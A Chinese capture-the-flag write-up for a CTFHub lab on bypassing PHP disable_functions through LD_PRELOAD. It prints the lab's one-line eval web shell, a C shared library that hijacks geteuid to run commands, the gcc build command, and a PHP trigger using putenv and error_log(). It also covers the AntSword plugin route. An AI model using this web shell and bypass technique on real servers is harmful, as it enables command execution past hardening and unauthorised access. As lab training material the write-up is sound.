ctfhub-web进阶-[LD_PRELOAD]
题目描述:
目标:获取服务器上 /flag 文件中的 flag。需要了解 Linux LD_PRELOAD 环境变量。
CTFHub Bypass disable_function —— LD_PRELOAD
本环境来源于AntSword-Labs
<!DOCTYPE html>
<html>
<head>
<title>CTFHub Bypass disable_function —— LD_PRELOAD</title>
</head>
<body>
<h1>CTFHub Bypass disable_function —— LD_PRELOAD</h1>
<p>本环境来源于<a href="https://github.com/AntSwordProject/AntSword-Labs">AntSword-Labs</a></p>
</body>
</html>
<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>
经典的LD_PRELOAD,直接使用蚁剑连接
根目录下出现了flag,但无法读取,也存在有readflag这类执行文件,使用蚁剑的插件就可以绕了
点击开始,即可在网站目录下生成文件
蚁剑连接这个文件,密码用原来的密码就可以
随后进入虚拟终端来执行readflag,即可获得flag
上面这是用蚁剑插件的方式来绕过LD_PRELOAD,还有一种是手动上传文件来绕
尝试利用LD_PRELOAD来动态链接重写这个getuid函数
为什么要用getuid这个函数?
因为我们是要劫持某个某个函数,而被劫持的函数得由我们来自己实现一次,所以函数原型必须一致,这就好说了,为了减少工作量,减少复杂性,所以我们尽量选择那些没有参数的系统函数,getuid就是这样的一个函数
步骤:
创建一个.c文件
#include<stdlib.h>
#include <stdio.h>
#include<string.h>
void payload(){
system("/readflag >/tmp/yy");
}
int geteuid(){
if(getenv("LD_PRELOAD") == NULL)
{
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
接着用gcc编译,生成.so文件
gcc -fPIC -shared yy.c -o yy.so
然后先蚁剑连接网站,将yy.so上传到/tmp目录下
接着可以使用mail()函数去利用这个LD_PRELOAD,但mail()函数是被禁了的
但是还可以利用error_log()函数
<?php
putenv("LD_PRELOAD=/tmp/yy.so");
error_log("",1,"","");
?>
将这串代码上传到网站目录下
随后访问yy.php,再回到/tmp目录下,可以看到已经生成了yy文件
点开即是flag